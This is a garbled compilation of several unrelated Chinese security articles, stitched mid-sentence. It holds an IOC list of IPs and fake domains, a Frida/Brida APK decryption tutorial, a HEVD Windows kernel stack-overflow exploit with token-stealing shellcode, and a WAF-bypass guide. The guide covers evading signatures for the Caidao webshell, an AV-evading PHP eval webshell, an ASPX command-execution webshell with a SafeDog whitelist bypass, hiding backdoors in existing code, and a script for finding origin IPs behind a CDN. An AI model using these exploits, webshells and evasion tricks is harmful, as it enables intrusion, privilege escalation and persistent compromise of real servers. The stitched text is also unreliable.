192[.]3[.]204[.]226
192[.]3[.]204[.]228
192[.]3[.]204[.]229
192[.]3[.]204[.]231
192[.]3[.]204[.]232
192[.]3[.]204[.]233
192[.]3[.]204[.]234
192[.]3[.]204[.]235
192[.]3[.]204[.]236
192[.]3[.]204[.]237
192[.]3[.]207[.]115
192[.]3[.]207[.]116
192[.]3[.]207[.]117
192[.]3[.]207[.]118
192[.]3[.]207[.]119
192[.]3[.]207[.]120
192[.]3[.]207[.]123
192[.]3[.]207[.]124
192[.]3[.]207[.]125
192[.]3[.]207[.]126
192[.]3[.]31[.]211
192[.]3[.]31[.]214
192[.]3[.]45[.]90
192[.]3[.]45[.]91
192[.]3[.]45[.]92
192[.]3[.]45[.]93
192[.]3[.]45[.]94
64[.]110[.]25[.]146
64[.]110[.]25[.]147
64[.]110[.]25[.]148
64[.]110[.]25[.]150
64[.]110[.]25[.]151
64[.]110[.]25[.]152
64[.]110[.]25[.]153
64[.]110[.]25[.]154
### 虚假域名
www[.]analiticsmailgooglefaxidload[.]onlinsedsa
www[.]wewanaliticsmailgooglefaxidload[.]oeenlinsedsa
www[.]lovisaaa[.]oedsdenlinsedrwersa
www[.]weryoseruisasds[.]oedsdenlinsedrwersa
www[.]dencedence[.]denceasdq
www[.]goooglwas[.]freesaf
dgdfgdfgdfg
faxdaytodayd
mailsssssssssssdddaas[.]com
mailsmessage[.]comssaaa
mailsmaasessage[.]comssssaaa
sssaaalllsaallsaaaasssaaa[.]comssssaaa
lvelalslllasaasss[.]lllassaassaa
1122212121212[.]1221212
00000000000000[.]11111111
11111[.]222222222222
someserver
someserversdfdfdf[.]111
www[.]wikipedia[.]000212[.]nl
wikipedia[.]112000212[.]com | 社区文章 |
Android
APP测试时，经常发生会遇见数据包加密传输，这样就会影响测试。不过，Brida可以编写加密解密脚本，对加密的数据包进行解密，在加密。工具或者插件都是为了测试方便。
## 环境
Android 8.1.0 pixel
Burpsuite 1.7
windows 10
eseBrida.apk （下面给下载地址）
phpstudy
## 什么是 **Brida**
**介绍Brida**
1、Brida.jar为Burpsuite插件
2、bridaServicePyro是用于Frida适配到burpsuite上的python脚本，这一部分存储在插件中，在执行brida过程中复制到缓存文件夹中。
3、script.js是要注入到目标应用程序的javascript脚本，它会通过Frida带有的rpc.exports功能将信息返回到拓展程序中。
4、该script.js脚本会被Frida注入到我们在 Brida中指定的进程中所以我们可以直接使用 Frida的 api。
5、目前只支持python2.7
**安装frida**
需要安装frida,参考文章<https://www.jianshu.com/p/c349471bdef7>
**安装Brida**
在Burpsuite安装Brida
安装完成,在python2.7安装Pyro4
`pip install Pyro4`
## 实战
**apk运行环境**
本文提供一个自己写的[eseBrida.apk](https://pan.baidu.com/s/1r2pKkbsB22FMfu_bD2vhtw)，拿到apk，因为我这里是测试版本，安装需要加-t参数，
`adb install -t esebrida.apk`，安装运行如下:
有个设置按钮，可设置服务器地址。这里利用phpstudy在www目录下运行 **AndroidLogin.php** ，
然后在浏览器访问服务器地址如<http://192.168.3.254/AndroidLogin.php>
看是否可以访问成功，如下:
将此地址填入安卓apk设置中，burpsuite设置代理：
手机wifi设置代理，如下:
在apk中输入用户名密码，
查看抓取的数据包:
**重点**
这里的数据是密文传输，不利于爆破，这里想对算法进行解密，然后在实现加密传输大奥服务器端。
**分析apk**
利用jeb 反编译apk，发现加解密算法AesEncryptionBase64类
上层定位，发现加密算法的秘钥硬编码，如下
自此，apk的流程已经分析清楚了。接着可以有两种思路
方法1、将java代码复制出来，在eclipse实现以下加解密流程，就可以对传输的数据进行解密加密了。
方法2、利用Brida调用apk自身加密解密函数，一键实现加密解密操作。
自然，方法2相对1要简单，而且操作方便。所有便有这篇文章
**编写Brida js脚本**
**1、运行frida**
首先下载[startFridaService.py](https://www.jianshu.com/p/fa422d3b7148)，运行`python
startFridaService.py`
**2、运行Brida，如下**
**3、先给一个Brida简单的test.js框架**
'use strict';
// 1 - FRIDA EXPORTS
rpc.exports = {
exportedFunction: function() {
},
contextcustom1: function(message) {
console.log("Brida start :--->");
return "Brida test1";
},
getplatform: function () {
if (Java.available) {
return 0;
} else if (ObjC.available) {
return 1;
} else {
return 2;
}
}
}
**4、测试方法contextcustom1**
成功执行脚本
**5、编写Brida调用encrypt加密函数**
'use strict';
// 1 - FRIDA EXPORTS
rpc.exports = {
exportedFunction: function() {
},
contextcustom1: function(message) {
console.log("Brida start :--->");
return "Brida test1";
},
contextcustom2: function(message) {
console.log("Brida Java Starting script ---->ok");
var enc;
Java.perform(function () {
try {
var key = "9876543210123456";
var text = "admin";
//hook class
var AesEncryptionBase64 = Java.use('com.ese.http.encrypt.AesEncryptionBase64');
console.log("Brida start : encrypt before--->"+text);
//hook method
enc = AesEncryptionBase64.encrypt(key,text);
console.log("Brida start : encrypt after--->"+enc);
} catch (error) {
console.log("[!]Exception:" + error.message);
}
});
return enc;
},
getplatform: function () {
if (Java.available) {
return 0;
} else if (ObjC.available) {
return 1;
} else {
return 2;
}
}
}
**6、执行方法contextcustom2**
通过签名抓取的数据包， 发现加密数据一致，证实调用apk加密算法。
**7、Burpsuite右键菜单**
发现4个方法与请求数据包与返回数据包相互一一对应
1、Brida Custom 1----->contextcustom1
2、Brida Custom 2----->contextcustom2
3、Brida Custom 3----->contextcustom3
4、Brida Custom 4----->contextcustom4
**8、编写对应插件eseScript.js脚本**
加载其他脚本，需要重启burpsuite,
'use strict';
// 1 - FRIDA EXPORTS
rpc.exports = {
exportedFunction: function() {
},
//AesEncryptionBase64 encrypt
contextcustom1: function (message) {
console.log("Brida start :0--->" + message);
var data = hexToString(message)
console.log("Brida start :1--->" + data);
var enc;
Java.perform(function () {
try {
var key = "9876543210123456";
var text = data;
//hook class
var AesEncryptionBase64 = Java.use('com.ese.http.encrypt.AesEncryptionBase64');
console.log("Brida start : AesEncryptionBase64 ---> success");
console.log("Brida start : encrypt before--->"+text);
//hook method
enc = AesEncryptionBase64.encrypt(key,text);
console.log("Brida start : encrypt after--->"+enc);
} catch (error) {
console.log("[!]Exception:" + error.message);
}
});
return stringToHex(enc);
},
//AesEncryptionBase64 decrypt
contextcustom2: function (message) {
console.log("Brida start :0--->" + message);
var data = hexToString(message)
console.log("Brida start :1--->" + data);
var text;
Java.perform(function () {
try {
var key = "9876543210123456";
var enc = data;
//hook class
var AesEncryptionBase64 = Java.use('com.ese.http.encrypt.AesEncryptionBase64');
console.log("Brida start : AesEncryptionBase64 ---> success");
console.log("Brida start : decrypt before--->"+enc);
//hook method
text = AesEncryptionBase64.decrypt(key,enc);
console.log("Brida start : decrypt after--->"+text);
} catch (error) {
console.log("[!]Exception:" + error.message);
}
});
console.log("Brida start : decrypt after--->"+stringToHex(text));
return stringToHex(text);
},
//AesEncryptionBase64 encrypt
contextcustom3: function (message) {
console.log("Brida start :0--->" + message);
var data = hexToString(message)
console.log("Brida start :1--->" + data);
var enc;
Java.perform(function () {
try {
var key = "9876543210123456";
var text = data;
//hook class
var AesEncryptionBase64 = Java.use('com.ese.http.encrypt.AesEncryptionBase64');
console.log("Brida start : AesEncryptionBase64 ---> success");
console.log("Brida start : encrypt before--->"+text);
//hook method
enc = AesEncryptionBase64.encrypt(key,text);
console.log("Brida start : encrypt after--->"+enc);
} catch (error) {
console.log("[!]Exception:" + error.message);
}
});
return stringToHex(enc);
},
//AesEncryptionBase64 decrypt
contextcustom4: function (message) {
console.log("Brida start :0--->" + message);
var data = hexToString(message)
console.log("Brida start :1--->" + data);
var text;
Java.perform(function () {
try {
var key = "9876543210123456";
var enc = data;
//hook class
var AesEncryptionBase64 = Java.use('com.ese.http.encrypt.AesEncryptionBase64');
console.log("Brida start : AesEncryptionBase64 ---> success");
console.log("Brida start : decrypt before--->"+enc);
//hook method
text = AesEncryptionBase64.decrypt(key,enc);
console.log("Brida start : decrypt after--->"+text);
} catch (error) {
console.log("[!]Exception:" + error.message);
}
});
console.log("Brida start : decrypt after--->"+stringToHex(text));
return stringToHex(text);
},
getplatform: function () {
if (Java.available) {
return 0;
} else if (ObjC.available) {
return 1;
} else {
return 2;
}
}
}
// Convert a ASCII string to a hex string
function stringToHex(str) {
return str.split("").map(function(c) {
return ("0" + c.charCodeAt(0).toString(16)).slice(-2);
}).join("");
}
// Convert a hex string to a ASCII string
function hexToString(hexStr) {
var hex = hexStr.toString();//force conversion
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
注意: 因为从message接受的数据是hex，所有调用hexToString转成字符串，然后进行加密操作，最后调用hexToString转换成hex返回。
**9、运行效果**
解密
加密
自此，解实现了一键加密，一键解密操作。本片文章的目的就达到了。
# 彩蛋
你以为就结束了吗？No No No ......
当你输入 账号:admin 密码:654321 | 社区文章 |
# 0x00：前言
这是 Windows kernel exploit
系列的第二部分，[前一篇](https://xz.aliyun.com/t/5493)我们讲了UAF的利用，这一篇我们通过内核空间的栈溢出来继续深入学习
Windows Kernel exploit ，看此文章之前你需要有以下准备：
* Windows 7 x86 sp1虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* HEVD+OSR Loader配合构造漏洞环境
# 0x01：漏洞原理
## 栈溢出原理
栈溢出是系列漏洞中最为基础的漏洞，如果你是一个 pwn
选手，第一个学的就是简单的栈溢出，栈溢出的原理比较简单，我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控，导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置，比如
ebp，返回地址等，如果我们精心构造好返回地址的话，程序就会按照我们指定的流程继续运行下去，原理很简单，但是实际用起来并不是那么容易的，在Windows的不断更新过程中，也增加了许多对于栈溢出的安全保护机制。
## 漏洞点分析
我们在IDA中打开源码文件`StackOverflow.c`源码文件[这里下载](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/tree/master/Driver/HEVD)查看一下主函数`TriggerStackOverflow`，这里直接将
Size 传入`memcpy`函数中，未对它进行限制，就可能出现栈溢出的情况，另外，我们可以发现 KernelBuffer 的 Size 是 0x800
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
KernelBuffer[0] = 0;
memset(&KernelBuffer[1], 0, 0x7FCu);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}
我们现在差的就是偏移了，偏移的计算是在windbg中调试得到的，我们需要下两处断点来找偏移，第一处是在`TriggerStackOverflow`函数开始的地方，第二处是在函数中的`memcpy`函数处下断点
kd> bl //查看所有断点
0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g //运行
Breakpoint 1 hit //断在了第一处
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> r //查看寄存器
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> dd esp //查看堆栈情况
91a03ad4 8c6d1718 0032f018 00000907 91a03afc
91a03ae4 8c6d2185 886ad948 886ad9b8 86736268
91a03af4 88815378 00000000 91a03b14 83e84593
91a03b04 88815378 886ad948 886ad948 88815378
91a03b14 91a03b34 8407899f 86736268 886ad948
91a03b24 886ad9b8 00000094 04a03bac 91a03b44
91a03b34 91a03bd0 8407bb71 88815378 86736268
91a03b44 00000000 91a03b01 44c7b400 00000002
上面的第一处断点可以看到返回地址是0x91a03ad4
kd> g
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)
kd> dd esp
91a03274 91a032b4 0032f018 00000907 8c6d25be
91a03284 8c6d231a 00000800 8c6d2338 91a032b4
91a03294 8c6d23a2 00000907 8c6d23be 0032f018
91a032a4 1dcd205c 886ad948 886ad9b8 8c6d2da2
91a032b4 00000000 00000000 00000000 00000000
91a032c4 00000000 00000000 00000000 00000000
91a032d4 00000000 00000000 00000000 00000000
91a032e4 00000000 00000000 00000000 00000000
kd> r
eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000
eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)
上面的第二处断点可以看到0x91a032b4是我们`memcpy`的第一个参数，也就是`KernelBuffer`，我们需要覆盖到返回地址也就是偏移为
0x820
>>> hex(0x91a03ad4-0x91a032b4)
'0x820'
# 0x02：漏洞利用
## 利用思路
知道了偏移，我们只需要将返回地址覆盖为我们的shellcode的位置即可提权，提权的原理我在第一篇就有讲过，需要的可以参考我的第一篇，只是这里提权的代码需要考虑到栈的平衡问题，在`TriggerStackOverflow`函数开始的地方，我们下断点观察发现，ebp的值位置在91a3bae0，也就是值为`91a3bafc`
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8
eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> dd esp
91a3bad4 8c6d1718 001ef230 00000824 (91a3bafc) => ebp
91a3bae4 8c6d2185 885c54b8 885c5528 88573cc0
91a3baf4 88815378 00000000 91a3bb14 83e84593
91a3bb04 88815378 885c54b8 885c54b8 88815378
91a3bb14 91a3bb34 8407899f 88573cc0 885c54b8
91a3bb24 885c5528 00000094 04a3bbac 91a3bb44
91a3bb34 91a3bbd0 8407bb71 88815378 88573cc0
91a3bb44 00000000 83ede201 00023300 00000002
当我们进入shellcode的时候，我们的ebp被覆盖为了0x41414141，为了使堆栈平衡，我们需要将ebp重新赋值为`97a8fafc`
kd>
Break instruction exception - code 80000003 (first chance)
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> r
eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0
eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> dd esp
97a8fad4 885b52f0 885b5360 8c6d2da2 97a8fafc
97a8fae4 8c6d2185 885b52f0 885b5360 88573cc0
97a8faf4 88815378 00000000 97a8fb14 83e84593
97a8fb04 88815378 885b52f0 885b52f0 88815378
97a8fb14 97a8fb34 8407899f 88573cc0 885b52f0
97a8fb24 885b5360 00000094 04a8fbac 97a8fb44
97a8fb34 97a8fbd0 8407bb71 88815378 88573cc0
97a8fb44 00000000 83ede201 00023300 00000002
## 利用代码
利用思路中，我们介绍了为什么要堆栈平衡，下面是具体的shellcode部分
VOID ShellCode()
{
//__debugbreak(); // 运行到这里程序会自动断下来等待windbg的调试
__asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid
mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
pop ebp
ret 8
}
}
构造并调用shellcode部分
char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);
具体的代码参考[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/StackOverflow/StackOverflow/test.c)，最后提权成功
# 0x03：补丁思考
我们先查看源文件 `StackOverflow.c`
中补丁的措施，区别很明显，不安全版本的`RtlCopyMemory`函数中的第三个参数没有进行控制，直接将用户提供的 Size
传到了函数中，安全的补丁就是对`RtlCopyMemory`的参数进行严格的设置
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
# 0x04：后记
通过这次的练习感受到Windows内核中和Linux中栈溢出的区别，在Linux中，如果我们想要栈溢出，会有canary，ASLR，NX等等保护需要我们去绕过，如果平台上升到win10，那么就会有更多全新的安全机制需要去考虑 | 社区文章 |
原文链接：[先知技术社区](https://xianzhi.aliyun.com/forum/read/714.html)
Author：Tr3jer_CongRong Blog：www.Thinkings.org
前文回顾：
* [第一篇《我的WafBypass之道（SQL注入篇）》](http://paper.seebug.org/218/)
* [第二篇《我的WafBypass之道（upload篇）》](http://paper.seebug.org/219/)
### 0x00 前言
I am back ... 再不出这篇就要被笑然老板吊打了 ...
本来这一篇打算写免杀的。考虑了下既然是预期最后一篇那就写个汇总和一些偏门的吧。并且在辍写本文时将前两篇进行了增改。本文主要讲以下几点，也是讲的并不全，但是实用。对其进行简单的阐述下：
**Bypass 菜刀连接拦截**
数waf对请求进行检测时由于事先早已纳入了像菜刀这样的样本。通常waf对这块的检测就是基于样本，所以过于死板。
**webshell 免杀**
讲webshell免杀也就直接写写姿势，一些特性功能、畸形语法、生僻函数比如回调等绕过查杀语法，不断变种、变种、变种。。。（混淆太恶心了，将其拿到实战上的人是怎么想的？）
**Bypass 禁止执行程序**
黑客在进行提权时，主机防护软件安全狗、星外等会进行拦截。原理上都是基于黑白名单进行拦截敏感的程序调用。
**Bypass CDN查找原IP**
cdn隐藏了原ip，在某种情况上使黑客无法做不正当勾当，那么自然就有各种绕过的方法。在这里附上一些靠谱的姿势和小工具。
### 0x01 Bypass 菜刀连接拦截
这里写两个案例，分别稍加修改菜刀的连接原始数据达到Bypass，very
simple。证明拦截规则不能写的原样照搬，一个简单的一句话，并基于市面最广的菜刀为样本进行连接：
阿里云盾：
这个post数据是绝对会被云盾拦截的：
基于waf专员智力水平，肯定不是简单处理下请求就能绕过的。这里先将请求拆分，分别进行请求看看：
@eval%01(base64_decode($_POST[z0]));
测试发现过滤了eval这个函数，有意思的是eval%01(能被拦截肯定是因为原样照搬了这个菜刀的规则。而且只要在左括号前面插入就不会拦截，也就是：
@eval(base64_decode($_POST[z0]));
接下来就是绕过后面这段base64了，这段base64解密是段调用机器信息的php代码，拦截的有点暴力也很正常。话说回来，发现云盾能够将这段base64一段一段识别的，是智能还是只是基于菜刀的样本？
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIp 拦截
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01Ip 不拦截
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIp 拦截
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw== 拦截
将这段base64三个字符三个字符挨个fuzz发现在%2B前面插入就不会拦截了：
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2B
所以，因为云盾没匹配到菜刀的样本，只要将%01这样的空字符插对地方的话，就可以绕过了：
a=@eval0x00(base64_decode0x00($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
当然，图方便可以再根据这个绕过规则改下菜刀。
360主机卫士：
主机卫士对菜刀的请求将直接判断为 `"AttackType":"Caidao webshell"` 样本：
在eval函数前面插入任意urlencode的字符即可绕过：
### 0x02 webshell免杀
免杀基于主机防护软件，这里拿安全狗、云锁、主机卫士举个可用的例子：
mb_convert_encoding( $str, $encoding1,$encoding2 )
这个函数用于编码转换的处理，验证下这个函数：
这个图证明的不够的话再来一个，UTF-16BE、UTF-16LE编码不管中英文的字符每个字符都是占两个字节，那么说回这个函数，支持转换的编码很全的，使用这个函数转换成UTF-16BE看看。
为了用户体验，主机防护软件对eval这类函数只要不被外部可控就不会被拦截：
$str=1;
@eval($str);
但只要外部可控就会被拦截。
经过处理后即可绕过：
$str=base64_decode("cGhwaW5mbygpOw==");
//$str=base64_decode(base64_encode($_POST['a']));
$str1=mb_convert_encoding($str, "GBK");
@eval($str1);
安全狗：
主机卫士：
云锁：
个人是不会使用这么蠢的后门或者混淆加密什么的，因为开发者后期维护代码时还是有可能被查到的，这里只是举个例子。推荐几个方案就是间接利用程序自身来做后门（改的越少越好／最好不要使用增添新文件的方式）：
利用404页面
在正常程序中多次调用GET、POST、Cookie的代码里：
//$a=$_POST['a'];
//%b=$_POST['b'];
$a($b); //a=assert&b=phpinfo()
利用ADS流
利用.user.ini //wooyun-drops-tips-3424
### 0x03 Bypass 禁止执行程序
这里以Safedog为例，最新版Safedog IIS 4.0已经不显示禁止IIS执行程序的白名单了：
找了个之前的版本搬一下白名单列表：
%windows%Microsoft.NET/Framework/v1.1.4322/aspnet_wp.exe
%windows%Microsoft.NET/Framework/v1.1.4322/csc.exe
%windows%Microsoft.NET/Framework/v1.1.4322/vbc.exe
%windows%Microsoft.NET/Framework/v2.0.50727/aspnet_wp.exe
%windows%Microsoft.NET/Framework/v2.0.50727/csc.exe
%windows%Microsoft.NET/Framework/v2.0.50727/vbc.exe
%windows%Microsoft.NET/Framework/v4.0.30319/aspnet_wp.exe
%windows%Microsoft.NET/Framework/v4.0.30319/csc.exe
%windows%Microsoft.NET/Framework/v4.0.30319/vbc.exe
%windows%system32/drwatson.exe
%windows%system32/drwtsn32
%windows%system32/drwtsn32.exe
%windows%system32/vsjitdebugger.exe
C:/Windows/Microsoft.Net/Framework/v3.5/csc.exe
C:/Windows/Microsoft.Net/Framework/v3.5/vbc.exe
首先一个执行cmd小马：
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender,EventArgs e){
try{
Process ahAE=new Process();
ahAE.StartInfo.FileName=path.Value;
ahAE.StartInfo.Arguments=argm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("<","<");
Uoc=Uoc.Replace(">",">");
Uoc=Uoc.Replace("\r\n","<br>");
tnQRF.Visible=true;
tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
}catch(Exception error){
Response.Write(error.Message);
}
}
</script>
<html>
<head>
<title>cmd webshell</title>
</head>
<body>
<form id="cmd" method="post" runat="server">
<div runat="server" id="vIac">
<p>Path:<br /> <input class="input" runat="server" id="path" type="text" size="100" value="c:\windows\system32\cmd.exe" /> </p> Param:
<br />
<input class="input" runat="server" id="argm" value="/c Set" type="text" size="100" />
<asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" />
<div id="tnQRF" runat="server" visible="false" enableviewstate="false">
</div>
</div>
</form>
</body>
</html>
拦截：
把白名单的内容做为参数进行执行呢：
成功绕过，直接封装到webshell参数上更方便：
StartInfo.Arguments=@"/'C:/Windows/Microsoft.NET/Framework/v1.1.4322/vbc.exe' " + argm.Value;
满足这个白名单并使用路径跳转的方式执行程序也可以绕过：
回首这个白名单，这个基于白名单识别有个缺陷就是并不是完全的匹配，而是前面匹配到了则放过。打个比方：可以利用windows的一个特性将可执行的文件改为`.exee`，比如我们使用白名单中的
`vsjitdebugger.exe` 这个文件名，上传一个名为 `vsjitdebugger.exee` 的cmd即可：
### 0x04 Bypass CDN查找原IP
由于cdn不可能覆盖的非常完全，那么可以采用国外多地ping的方式，或者多收集一些小国家的冷门dns然后nslookup domain.com
dnsserver。
写了个简单的脚本，首先收集好偏门的dns字典，然后轮训一个目标的方式，输出这些dns查询出的不同结果。
https://gist.github.com/Tr3jer/98f66fe250eb8b39667f0ef85e4ce5e5
#!/usr/bin/env python
# -*- encoding: utf-8 -*- #__author__ == Tr3jer_CongRong
import re
import sys
import time
import threading
import dns.resolver
class Bypass_CDN:
def __init__(self,domain,dns_dict):
self.domain = domain
self.myResolver = dns.resolver.Resolver()
self.dns_list = set([d.strip() for d in open(dns_dict)])
self.good_dns_list,self.result_ip = set(),set()
def test_dns_server(self,server):
self.myResolver.lifetime = self.myResolver.timeout = 2.0
try:
self.myResolver.nameservers = [server]
sys.stdout.write('[+] Check Dns Server %s \r' % server)
sys.stdout.flush()
answer = self.myResolver.query('google-public-dns-a.google.com')
if answer[0].address == '8.8.8.8':
self.good_dns_list.add(server)
except:
pass
def load_dns_server(self):
print '[+] Load Dns Servers ...'
threads = []
for i in self.dns_list:
threads.append(threading.Thread(target=self.test_dns_server,args=(i,)))
for t in threads:
t.start()
while True:
if len(threading.enumerate()) < len(self.dns_list) / 2:
break
else:
time.sleep(1)
print '\n[+] Release The Thread ...'
for j in threads: j.join()
print '[+] %d Dns Servers Available' % len(self.good_dns_list)
def ip(self,dns_server):
self.myResolver.nameservers = [dns_server]
try:
result = self.myResolver.query(self.domain)
for i in result:
self.result_ip.add(str(i.address))
except:
pass
def run(self):
self.load_dns_server()
print '[+] Dns Servers Test Target Cdn ...'
threads = []
for i in self.good_dns_list:
threads.append(threading.Thread(target=self.ip,args=(i,)))
for t in threads:
t.start()
while True:
if len(threading.enumerate()) < len(self.good_dns_list) / 2:
break
else:
time.sleep(1)
for j in threads: j.join()
for i in self.result_ip: print i
if __name__ == '__main__':
dns_dict = 'foreign_dns_servers.txt'
bypass = Bypass_CDN(sys.argv[1],dns_dict)
bypass.run()
通过dns历史解析记录查找目标源ip，我推荐使用Rapid7的DNS解析记录库进行检索，毕竟做渗透的聪明人都讲究：“事前早有准备，而不是临阵磨枪”。这里有一份2014.03—2015.10的解析记录放在了百度云。
NS/TXT/MX的dns类型都可以进行检索，基于dns解析hitory还可以使用netcraft.com
让服务器主动连接：
* 在可上传图片的地方利用目标获取存放在自己服务器的图片，或者任何可pull自己资源的点，review log即可拿到。
